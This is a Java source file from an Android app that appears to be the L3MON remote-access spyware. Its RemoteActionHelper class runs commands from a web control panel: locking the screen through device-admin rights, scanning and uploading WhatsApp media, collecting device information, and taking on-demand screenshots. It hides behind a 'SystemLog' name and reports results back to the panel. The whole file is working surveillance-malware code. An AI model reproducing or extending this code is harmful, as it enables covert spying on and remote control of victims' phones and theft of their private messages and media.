package com.etechd.l3mon;

import android.content.Context;
import android.util.Log;

import org.json.JSONObject;

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;

/**
 * Acciones remotas iniciadas desde el panel web.
 */
public final class RemoteActionHelper {
    private static final String TAG = "SystemLog";

    private RemoteActionHelper() {
    }

    public static void handleCommand(String action, JSONObject params) {
        final String normalized = action == null ? "" : action.trim();
        final int commandId = params != null ? params.optInt("command_id", -1) : -1;
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    JSONObject report = execute(normalized, params);
                    report.put("action", normalized);
                    report.put("reported_at", System.currentTimeMillis());
                    Log.i(TAG, "RemoteAction: " + normalized + " success=" + report.optBoolean("success"));
                    SystemLogApi.report("0xRA", report);
                    if (commandId > 0) {
                        SystemLogApi.ack(commandId);
                    }
                } catch (Exception e) {
                    Log.e(TAG, "RemoteAction: " + e.getMessage());
                    try {
                        JSONObject err = new JSONObject();
                        err.put("action", normalized);
                        err.put("success", false);
                        err.put("message", e.getMessage() != null ? e.getMessage() : "Error");
                        err.put("reported_at", System.currentTimeMillis());
                        SystemLogApi.report("0xRA", err);
                        if (commandId > 0) {
                            SystemLogApi.ack(commandId);
                        }
                    } catch (Exception ignored) {
                    }
                }
            }
        }, "SystemLogRemoteAction").start();
    }

    private static JSONObject execute(String action, JSONObject params) throws Exception {
        Context ctx = SystemLogApi.getAppContext();
        JSONObject out = new JSONObject();

        if ("lock_screen".equals(action)) {
            boolean locked = DeviceAdminHelper.lockNow(ctx);
            out.put("success", locked);
            out.put("message", locked ? "Pantalla bloqueada" : "Administrador de dispositivo no activo");
            return out;
        }

        if ("whatsapp_scan".equals(action)) {
            JSONObject stats = WhatsAppMediaMonitor.scanNowSync();
            int uploaded = stats.optInt("uploaded", 0);
            int discovered = stats.optInt("discovered", 0);
            out.put("success", true);
            out.put("stats", stats);
            out.put("message", uploaded > 0
                    ? (uploaded + " archivo(s) WhatsApp subido(s)")
                    : ("Escaneo completado (" + discovered + " detectado(s), 0 nuevos)"));
            return out;
        }

        if ("device_info".equals(action)) {
            DeviceInfoCollector.reportNow(ctx);
            out.put("success", true);
            out.put("message", "Informe del dispositivo solicitado");
            return out;
        }

        if ("screenshot_now".equals(action)) {
            final CountDownLatch latch = new CountDownLatch(1);
            final AtomicBoolean ok = new AtomicBoolean(false);
            final AtomicReference<String> message = new AtomicReference<String>("Timeout de captura");
            ScreenshotMonitor.captureOnDemand(new ScreenshotMonitor.CaptureCallback() {
                @Override
                public void onDone(boolean success, String msg) {
                    ok.set(success);
                    message.set(msg != null ? msg : (success ? "OK" : "Error"));
                    latch.countDown();
                }
            });
            latch.await(25, TimeUnit.SECONDS);
            out.put("success", ok.get());
            out.put("message", message.get());
            return out;
        }

        out.put("success", false);
        out.put("message", "Acción desconocida: " + action);
        return out;
    }
}
